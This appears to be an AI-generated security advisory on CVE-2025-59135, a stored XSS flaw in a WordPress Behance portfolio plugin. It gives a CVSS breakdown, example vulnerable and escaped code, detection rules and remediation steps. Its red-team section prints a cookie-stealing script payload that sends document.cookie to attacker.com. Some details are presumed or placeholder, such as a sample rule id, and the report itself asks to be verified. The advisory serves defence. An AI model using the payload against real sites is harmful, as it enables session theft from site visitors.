CVE-2025-59135

Executive Summary

CVE-2025-59135 is a Stored Cross-Site Scripting (XSS) vulnerability in the Eleopard Behance Portfolio Manager WordPress plugin (versions up to and including 1.7.5). The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This vulnerability is classified as a WordPress ecosystem issue, as the plugin is designed for the WordPress platform. The CVSS score of 5.9 (Medium) reflects the need for user interaction and the limited impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority unpatched risk for all sites using the affected plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Since no patch is available, site administrators must consider the plugin as a supply chain risk. The lack of an official update from the vendor (Eleopard) means that any site running version 1.7.5 or earlier is exposed to potential exploitation. Organizations should treat this as a critical supply chain weakness and either remove the plugin or implement strict web application firewall (WAF) rules to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must interact with the malicious content (e.g., click a link or view a page).
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. The vulnerability is unpatched and requires user interaction, but the stored XSS nature means that a single injection can affect multiple users over time. Attackers could use this to steal session cookies, deface pages, or redirect users to malicious sites.

Deep Dive & Mechanics

The Behance Portfolio Manager plugin allows users to display their Behance portfolio on a WordPress site. The vulnerability lies in the improper neutralization of input during web page generation. Specifically, the plugin fails to sanitize or escape user-supplied data (e.g., portfolio item titles, descriptions, or custom fields) before rendering it in the browser. An attacker with the ability to submit or modify portfolio content (e.g., through a compromised user account or a vulnerable form) can inject arbitrary JavaScript code.

Attack Flow:

1. The attacker identifies a vulnerable input field in the plugin (e.g., a portfolio item title).
2. The attacker submits a payload such as <script>alert('XSS')</script>.
3. The plugin stores this payload in the WordPress database without sanitization.
4. When another user (including administrators) views the portfolio page, the malicious script executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to a phishing site.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding or input validation allows the stored XSS to persist.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions up to 1.7.5. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (example)
echo '<h2>' . $portfolio_item_title . '</h2>';

The patched version would use WordPress's built-in escaping functions:

// Patched code (example)
echo '<h2>' . esc_html( $portfolio_item_title ) . '</h2>';

The esc_html() function ensures that any HTML or JavaScript is encoded, preventing XSS. Without this, the raw input is rendered directly.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Lab Setup:

• Target: A WordPress site running Behance Portfolio Manager <= 1.7.5.
• Attacker: Kali Linux with Burp Suite or a simple HTTP client.
• User: A victim with a browser that visits the portfolio page.

Exploitation Steps:

1. Identify a vulnerable input field (e.g., portfolio item title, description, or custom field).
2. Submit a payload via the plugin's form or API. Example payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. The payload is stored in the database.
4. When the victim visits the portfolio page, the script executes and sends the cookie to the attacker's server.

Note: No public exploit code is available, but the attack is straightforward due to the nature of stored XSS.

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual input patterns in portfolio fields (e.g., <script>, onerror=, javascript:).
• Use a WAF to block common XSS payloads.
• Review server logs for requests to suspicious external domains (e.g., cookie stealers).

Mitigation:

• Disable or remove the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

• File Hashes (MD5): N/A (no specific files identified)
• Network Indicators:
  • Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal.php?cookie=...).
  • Unusual referrer headers from portfolio pages.
• Log Entries:
  • WordPress debug logs showing unescaped output in portfolio fields.
  • Web server logs with POST requests containing <script> tags to portfolio endpoints.
• Behavioral:
  • Unexpected redirects from portfolio pages.
  • Unauthorized admin actions performed by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_59135_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Behance Portfolio Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59135"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Behance Portfolio Manager
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS payloads in WordPress portfolio fields
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'portfolio-manager-powered-by-behance'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in portfolio descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59135 Stored XSS in Behance Portfolio Manager"; flow:to_server; content:"POST"; http_method; content:"portfolio-manager-powered-by-behance"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable and remove the Behance Portfolio Manager plugin from all WordPress sites until a patch is released.
2. Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing <script>, onerror=, or javascript: in portfolio fields.
3. Input Validation: Implement server-side validation to reject any input containing HTML or JavaScript tags.
4. Output Encoding: Ensure all user-supplied data is escaped using WordPress functions like esc_html(), esc_attr(), or wp_kses().
5. Content Security Policy (CSP): Add a CSP header that restricts script execution to trusted sources only.
6. Monitor: Review web server logs for signs of exploitation and check for unauthorized changes to portfolio content.
7. User Education: Warn users with edit permissions about the risks of pasting untrusted content into portfolio fields.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is based on publicly available data and should be verified before action.